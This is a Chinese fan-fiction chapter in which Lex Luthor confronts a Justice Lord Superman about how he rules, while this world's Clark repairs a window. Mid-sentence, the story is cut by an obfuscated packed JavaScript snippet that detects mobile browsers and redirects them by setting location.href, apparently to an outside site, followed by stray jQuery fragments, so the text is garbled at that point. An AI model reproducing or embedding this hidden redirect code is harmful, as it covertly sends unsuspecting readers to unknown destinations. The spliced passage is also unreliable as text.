说句实话，莱克斯原本是根本不想管这两个超人到底在说什么乱七八糟的东西的。


    正义领主这个副本在游戏里也有，但这个副本的难度并不是第一梯队，讨论的东西还会让他想到索米什卡，所以他不怎么喜欢。会见到正义领主这个副本出来的超人……或者说这个平行世界来的超人对他来说也就那样，算不上什么惊喜或者惊吓。这一切和他有什么关系，他又没见到闪电侠，他连闪电侠是谁都不知道。


    他也没有心情给老外（指外星人）当金牌调解员，当然，如果这两个家伙真的打算在他的办公室展开紧张激烈的肉搏战的话，莱克斯还是会让他们有多远滚多远的。外星人要打架给我滚去外星，地球不是给你们这群外星人当拳击擂台的地方。


    不幸中的万幸是，超人和卡尔并没有打起来。


    万幸中的不幸是，超人没吵过卡尔。


    莱克斯也不是不能理解啦，毕竟这个世界的超人缺少了很多争吵方面的锻炼，整个人还处在开开心心当小记者的阶段。虽然克拉克的论点一直都很坚定，他认为人类的秩序应该由人类维护和创造，他只是在做一个好人该做的事情，他无法负担别人的人生，但面对卡尔尖锐的语言，他毫无还手之力。


    ——你有这样的力量，为什么不去做更多？


    ——难道你要等自己深爱的人被杀才会醒悟自己本该做得更好吗？


    ——能力越大，责任越大。


    克拉克一边抗争一边支支吾吾，还疯狂将视线投降莱克斯的方向，就像是在求救一样。莱克斯想说你看我干什么啊，难道你这还要我来帮你吗？但他终于还是叹了口气，他看向卡尔，站起身来环抱着双臂：“我想问你一个问题，白色的超人。”


    卡尔将目光投向莱克斯，示意他有屁快放。


    莱克斯问：“既然你要拿自己强大的力量去拯救这个世界深陷水深火热之中的，麻木不仁的人类，那你来找我干什么？我可以先承认我确实做了一点法律上不允许，但实际上可以的事情，你不先去找爱泼斯坦，不去找吹牛老爹，是因为你觉得我可能做的事情，也就是杀了一个超能力者——我现在没做——比他们正在做的事情更加需要被惩罚吗？”


    卡尔突然不说话了。


    克拉克举手：“我正在收集证据，之后会走法律途径，并且把他们拐卖儿童的船只和飞机阻拦下来了，不过他们自己也不敢宣传，所以这件事没有传出去。”


    “看来你也不过是私仇摆在公理之上的统治者啊，‘正义’领主，”莱克斯继续说，他拿起果汁喝了一口，“还是我该说感谢你对我的重视？你可真喜欢我，宝贝。”


    克拉克说：“呃……”


    卡尔看了一眼克拉克：“没和你说话。”


    莱克斯看了一眼克拉克：“我还是更喜欢我这边的这个超人，虽然我喜欢你的衣服。”


    “……”克拉克看了一眼自己的衣服，小声嘀咕着，“红蓝黄三原色明明是经典来着……”


    莱克斯看了一眼克拉克：“要喝点什么可以自己去倒，冰箱在那里，要是没事做就帮我把窗户补好，洞一直开着还挺冷的。”


    克拉克沉默着补窗户去了。


    这是他新学的手艺，就是为了防止他哪一次和超级反派对抗的时候再不小心把别人家的窗玻璃砸坏，只是没想到这个技术的首次运用是为了修补平行世界的自己砸出来的大洞。他觉得这不对吧，但是好像他除了这个之外确实也没啥能干的了……算了，至少他在干好事，克拉克想，而且这样他可以防止莱克斯和另一个世界的自己打起来。


    “我真不明白，你是靠什么治理……假设你真的在治理好了，你是怎么治理你的民众的？哲人王？”莱克斯站起来，绕过办公桌，向着卡尔靠近了一步。卡尔看到了那双燃烧着的灰绿色眼睛：“用你的外星肌肉？哦，你们要当个好人，因为如果不当好人的话我就会把你们关起来，然后烧掉你们的脑叶？”


    “你怎么告诉他们什么是好，什么是坏？你怎么界定什么是好，什么是坏？”莱克斯又靠近了卡尔一步，卡尔不想和他太过靠近，于是又一次后退。


    “什么罪行该受到什么惩罚？什么善行该受到什么奖励？一个医生为了拯救一个羊水栓塞孕妇用光了血库的存血，导致之后车祸的人因失血过多而死，你该奖励谁，又该惩罚谁？你们如何判断一亩地应该种植水稻还是小麦，还是说这里该种香蕉或者咖啡？”


    “假设我要在大都会铺设一条地铁，我该在哪里设计站点？我该设计每天几班？几点上班，几点下班？我该让谁为我工作？兢兢业业的工人？还是便宜的罪犯？如果因为地铁站的改道导致商业圈的变动，造成了某个商户破产，他应该仇恨谁？还是说既然什么都做不到，我就要保持现状？”


    “我该用什么来做药品实验？小白鼠？志愿者？自己？非法移民？”


    “谁能帮我开发高产作物？我该给他什么奖励？如果这个作物会影响水土我该怎么办？我该支持素食还是肉食？法律该支持几岁的时候变性？如果我只是不和一个不喜欢的人说话是否构成霸凌？我分享食物的时候不小心让一个人吃下了他过敏的东西，我是否构成谋杀？还是说我不构成，但是你要怎么判断我是不小心还是故意？还是他知道，只是再借我的手自杀？”


    “自杀犯法吗？”


    “先炼钢铁？先研究塑料？开发电能还是氢能？还是继续开采石油？在哪里风力发电，在哪里火力发电？在那里制作大坝拦截水流？该如何避免对环境的破坏？”


    莱克斯一步步向前，卡尔一步步后退，直到他无法继续后退，他的后背抵在墙上，而莱克斯依旧前进一步，他对着卡尔露出一个蛇一样的微笑：“温斯洛·肖特也死在这堵墙前，他想杀我，因为我破坏了他的公司，但他用他的公司赚钱制作杀人机器人——你会给我什么？嘉奖？还是惩罚？”


    “告诉我吧，‘正义’领主，你所建立的到底是什么样的秩序，你的秩序用什么保证，你如何让别人理解你的秩序，你又想给这个世界带来什么……”他靠近卡尔的耳边，声音微微压低，“还是说，你其实什么都没在想？只要不犯罪就行？只要他们不做出你讨厌的事情？你就是法律？l’etat, c’est moi？”


    他的手指覆盖在了卡尔的手背上，然后一把抓住卡尔的手放在了自己的脖子上：“嘘，嘘，感受一下我的心跳，Дорогой”，然后回答我的问题。”


    卡尔将手迅速抽回，他看着莱克斯：“你是个疯子。”


    “上班导致的，你上你也疯，”莱克斯说，“但就像我说的，你不是救世主，你不是完美无缺的统治者，你不是什么正义的领主，你连个暴君都不是，你只是个玩过家家的小孩子，徒劳地咆哮着为什么我不能得到自己喜欢的玩具。如果你真的有和你志同道合的朋友，那他们也是失败的统治者，也是一群小孩子。很难想象你们的世界靠什么运行，靠定时定点刷新出来的资源吗？”


    克拉克在背后一边修窗户一边偷偷松了口气，还好莱克斯不是在说他，这些问题问他，他也回答不上来。


    拉奥在上啊，他这辈子都不想当一个掌权者了。


    卡尔面无表情地看着莱克斯，他可以感觉到从未有过的恐惧顺着他的后背不断蔓延而上，他想他可以反问回去，但他不觉得这个卢瑟会没有任何解答。莱克斯·卢瑟是个自大的疯子，然而无组织无计划从来不属于莱克斯·卢瑟。他想要干脆用热视线烧掉卢瑟的脑子，然而他很清楚，这一次是真的，如果他这么做，他就一败涂地了。


    他希望的依旧是一个更好的世界，而不是毁灭莱克斯·卢瑟。


    “那你呢？你又在干什么？”然后他问莱克斯。


    “你的记性很差，”莱克斯毫不客气地说，“之前我就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832500|158636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说了，我正在搞大都会的地铁线路规划，能不能麻烦你告诉我大都会的什么地方繁华？报出经纬坐标就可以，你喜欢拿莱克斯大厦为原点构建新的坐标系也行。”


    卡尔闭上眼睛，他听了一下大都会的声音，然后告诉莱克斯五个坐标。莱克斯冷笑了一声：“超人，告诉他结果。”


    卡尔睁开眼睛看向莱克斯：“我也是超人。”


    “不是我这边的这个，”莱克斯说，“补完窗户了吗？报一下坐标！”


    克拉克没想到突然有自己的事了，但他立刻报出了四个坐标：“这四个地方都是大商圈，其实第五个是莱克斯集团，不过今天莱克斯给公司里大部分人放假了，因为今天是莱克斯的生日，然后，呃，你说的第五个坐标确实在今天很热闹，然而那是因为……今天早上一群网红在那里拍‘假如运钞车出了事故大都会人的表现’的整蛊视频。”


    莱克斯对着卡尔摊了摊手：“你已经离开人类太久了，overman。”


    他说对了，卡尔不得不承认这一点。


    莱克斯离卡尔稍稍远了一点，卡尔也稍微放松了一些，他不需要呼吸，但他确实因为莱克斯的步步紧逼感觉到了窒息。莱克斯冷笑了一声，然后打印出了一张纸丢给卡尔，卡尔接过这张纸，他看到了大都会的地图，在地图上标注出了至少二十个点：“做个有用的人，overman，两条线，找到最合适的编排方式，画出来然后给我。”


    “我为什么要帮你？”卡尔问。


    “那行，超人你来，”莱克斯说，“帮我画完，我给你外包费。”


    克拉克看了一眼卡尔，卡尔原本就非常难看的表情在听到莱克斯叫自己的时候变得更难看了，他毫不怀疑自己要真的去帮莱克斯，卡尔说不定真的会和自己打起来……好麻烦啊，他在心里感慨，你到底讨不讨厌莱克斯啊，为什么明明讨厌还不赶紧走啊……


    然后卡尔从莱克斯的桌上拿起了一支笔，他看了一眼那支圆珠笔，笑了一声：“皮卡丘？一点都不适合你。”


    “我儿子的，他喜欢宝可梦。”莱克斯说。


    卡尔差点把笔拧断：“你还有儿子？”


    “抱歉啊，忘了你没有家人，喜欢的女人也把你甩了。”莱克斯说。


    “莱克斯是个好父亲，”克拉克说，他的本意是想劝卡尔和莱克斯别吵了，但不知道为啥卡尔看起来更生气了，“他真是啊？你不信就去看新闻好了。”


    莱克斯打开冰箱，从里面拿出个橘子一掰两半塞给克拉克：“烦请把你的嘴巴堵住一下，没在帮忙。”


    克拉克接过橘子，拿下一瓣放进嘴里：“好吃！”


    “对吧，康纳也挺喜欢吃的。”莱克斯说。


    卡尔一时间觉得更火大了，他不知道自己为什么要那么火大，或许是因为这个世界的卢瑟和超人友好的关系，或许是因为自己的统治被轻视了，或许是因为他需要用自己的超级大脑思考地铁路线设计之类的小事……接着他听到了冰箱开合的声音，听起来像是卢瑟又拿出了一个橘子，随着橘子皮被撕开，柠檬烯的香气散发开来，变得更加浓郁。


    卡尔希望拉奥能保佑莱克斯·卢瑟被橘子呛死。


    但莱克斯的脚步靠近了他，接着冰凉的东西触碰到了卡尔的嘴唇，卡尔这才反应过来，这是橘子。他看到卢瑟的手，没有染上闪电侠的鲜血的手里拿着一瓣橘子。


    “这是在干什么？”卡尔问。


    “一人一个，”莱克斯说，他没觉得有啥大不了的，他在家里就是这么喂帮忙干活的弟弟和堂弟的，一人一个，“你也可以把这个当做道歉，毕竟我刚才说话太重了。”


    “不需要。”


    “吃下去吧——”莱克斯说，“还是说你想听我说另一句话？”


    “什么？”卡尔拿过橘子，看着那双灰绿色的眼睛。


    “尔等将如神，能知善与恶。”